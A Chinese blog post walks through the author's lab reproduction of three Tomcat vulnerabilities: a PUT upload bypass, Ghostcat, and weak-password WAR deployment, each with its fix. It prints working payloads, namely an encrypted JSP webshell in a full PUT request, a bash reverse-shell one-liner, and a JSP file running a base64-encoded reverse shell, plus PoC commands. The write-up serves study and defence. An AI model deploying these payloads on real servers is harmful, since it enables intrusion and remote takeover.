tomcat漏洞复现总结

一、前言

想复现这个是面试的时候师傅提了 tomcat 好几个洞,自己却只知道弱口令和部署 war 包,惭愧惭愧,虽然拿到了 offer,但是一直记着这个事。九月份面试的现在才复现啊呀啊呀拖延的一匹。这几个月发生了好多事,果然 2020 年比较魔幻(但是期待的事都有好结果!)

 

二、实验环境

  • ubuntu 20.10 x64
  • vulhub

https://github.com/vulhub/vulhub/tree/master/tomcat

 

三、漏洞列表

3.1CVE-2017-12615(补丁bypass)

影响版本:

tomcat 5.x-9.x

复现过程:

Windows:

  • /shell.jsp::$DATA绕过
  • /shell.jsp%20,空格绕过
  • /shell.jsp/,tomcat在处理文件时会删除最后的/

Linux:

  • /shell.jsp/,tomcat在处理文件时会删除最后的/
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 572

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*åÆ¥:Þ¥Æ32Mmd5<„M16MؤޥÆrebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

解决方式:

conf/web.xml 中 DefaultServlet 的 readonly 设置为 true

 

3.2CVE-2020-1938

影响版本:

  • tomcat 6.x
  • tomcat 7.x < 7.0.100
  • tomcat 8.x < 8.5.51
  • tomcat 9.x < 9.0.31

复现过程:

Tomcat-Ajp 协议读取文件

poc 地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py ip.ip.ip.ip -p 8009 -f WEB-INF/web.xml

 

该漏洞可以任意文件类型解析为 jsp,从而达到任意命令执行的效果。但漏洞需要配合文件上传漏洞才可利用,这里先上传一个包含反弹 shell 命令的 test.txt 复现漏洞。反弹 shell 命令,在线命令编码:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/ip/port 0>&1

 

test.txt 文件如下

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

 

将当前操作系统家目录下的文件复制到容器的相应目录

docker cp /root/test.txt 087e6b2d9acd:/usr/local/tomcat/webapps/ROOT/

 

本地监听,执行 poc 即可成功获取反弹 shell,poc 地址:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

python2 poc.py -p 8009 -f test.txt ip.ip.ip.ip

解决方式:

升级到 9.0.31、8.5.51、7.0.100,或直接关闭 AJPConnector

 

3.3弱口令部署war包

影响版本:

全版本

复现过程:

Manager App 弱口令登录 tomcat/tomcat

 

jsp 打包为 war 并部署,ip:8080/test/shell.jsp 可以成功访问

jar cvf test.war shell.jsp

解决方式:

设置强口令

 

参考文章:

https://zhuanlan.zhihu.com/p/137686820

https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

https://www.jianshu.com/p/4097dc30f660

https://www.cnvd.org.cn/webinfo/show/5415

https://www.jianshu.com/p/f3e4b5896edb

 

posted @ 2021-01-04 22:20  beiwo  阅读(703)  评论(0编辑  收藏  举报